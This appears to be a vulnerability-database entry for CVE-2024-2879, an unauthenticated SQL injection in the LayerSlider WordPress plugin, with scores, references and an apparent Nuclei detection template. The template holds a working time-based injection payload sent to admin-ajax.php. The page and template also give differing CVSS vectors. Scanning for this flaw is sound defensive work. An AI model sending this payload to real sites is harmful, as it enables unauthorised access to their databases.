CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
74.2%
The LayerSlider plugin for WordPress is vulnerable to SQL Injection via the ls_get_popup_markup action in versions 7.9.11 and 7.10.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
id: CVE-2024-2879
info:
name: WordPress Plugin LayerSlider 7.9.11-7.10.0 - SQL Injection
author: d4ly
severity: high
description: |
The LayerSlider plugin for WordPress is vulnerable to SQL Injection via the ls_get_popup_markup action in versions 7.9.11 and 7.10.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
remediation: Fixed in 7.10.1
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-2879
- https://www.securityblue.team/blog/posts/Critical-Vulnerability-in-WordPress-Plugin-LayerSlider
- https://www.wordfence.com/blog/2024/04/5500-bounty-awarded-for-unauthenticated-sql-injection-vulnerability-patched-in-layerslider-wordpress-plugin/
- https://layerslider.com/release-log/
- https://www.wordfence.com/threat-intel/vulnerabilities/id/3fddf96e-029c-4753-ba82-043ca64b78d3?source=cve
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2024-2879
cwe-id: CWE-89
epss-score: 0.00492
epss-percentile: 0.76133
cpe: cpe:2.3:a:layerslider:layerslider:7.9.11:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: layerslider
product: layerslider
framework: wordpress
publicwww-query: "/wp-content/plugins/LayerSlider/"
tags: cve,cve2024,wp-plugin,wp,wordpress,layerslider,sqli
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/LayerSlider/assets/static/public/front.css"
matchers:
- type: word
internal: true
words:
- ".ls-clearfix:before"
- raw:
- |
@timeout: 10s
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))x)--+x) HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- duration>=6
- status_code == 200
- contains(body, "<script>")
condition: and
# digest: 4a0a0047304502201d08df52fd34a2899c7ad336122c98cb8a653f7b46dc73ca7520b4da782b28450221008fde2dd001e36505866de89454fb87ee47618f6289b7fa30f30abf8c45a71bbc:922c64590222798bb761d5b6d8e72950
layerslider.com/release-log/
nvd.nist.gov/vuln/detail/CVE-2024-2879
www.securityblue.team/blog/posts/Critical-Vulnerability-in-WordPress-Plugin-LayerSlider
www.wordfence.com/blog/2024/04/5500-bounty-awarded-for-unauthenticated-sql-injection-vulnerability-patched-in-layerslider-wordpress-plugin/
www.wordfence.com/threat-intel/vulnerabilities/id/3fddf96e-029c-4753-ba82-043ca64b78d3?source=cve
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
74.2%